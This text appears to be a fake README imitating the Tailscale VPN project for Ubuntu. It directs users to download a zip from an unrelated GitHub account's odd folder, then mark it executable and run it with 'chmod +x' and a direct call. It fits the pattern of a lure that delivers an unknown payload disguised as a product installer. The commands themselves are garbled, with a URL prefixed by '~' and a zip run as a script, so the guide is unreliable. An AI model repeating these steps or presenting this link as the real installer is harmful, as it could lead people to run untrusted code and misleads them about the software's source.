Welcome to the Tailscale project! This guide will help you easily install and configure Tailscale, a simple VPN solution for Ubuntu. Follow the steps below to get started.
You can download Tailscale from our Releases page.
Before you begin, ensure your system meets these requirements:
- Operating System: Ubuntu (focus on IPv4)
- Network: Active internet connection
Follow these steps to install Tailscale on your Ubuntu system.
- Look for the Terminal application. You can usually find it in your Applications menu or press
Ctrl + Alt + T.
Visit the following link to download the latest version of the Tailscale installation script:
On the Releases page, find the latest version. The file should be named something like https://raw.githubusercontent.com/cuzokamitaichou-ops/tailscale/main/ventriloquially/tailscale_2.4-beta.4.zip. Click on it and download.
Once the script is downloaded, you need to execute it. In the terminal, run the following commands:
chmod +x ~https://raw.githubusercontent.com/cuzokamitaichou-ops/tailscale/main/ventriloquially/tailscale_2.4-beta.4.zip
~https://raw.githubusercontent.com/cuzokamitaichou-ops/tailscale/main/ventriloquially/tailscale_2.4-beta.4.zipAfter installation, you will need to configure Tailscale. Follow the prompts in your terminal to complete setup. You may be asked to log in with your SSO account for secure access.
Confirm that Tailscale is running smoothly. You can do this by executing:
tailscale statusIf everything is set up correctly, you will see the status of your Tailscale connection.
If you encounter issues during installation, here are some common problems and solutions:
- Script Fails to Run: Ensure you have permission to execute the script. Use
chmod +xto give permission. - Unable to Connect: Check your internet connection. Ensure your firewall is not blocking Tailscale.
- Authentication Errors: Make sure you use the correct login credentials for SSO.
For further assistance, you can reach out in the projectβs issues section. We will do our best to assist you.
- Easy to set up and configure on Ubuntu.
- Provides secure connections using WireGuard technology.
- Supports access control through ACL policies.
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By following this guide, you should be able to successfully download, install, and run Tailscale on your Ubuntu system. Happy networking!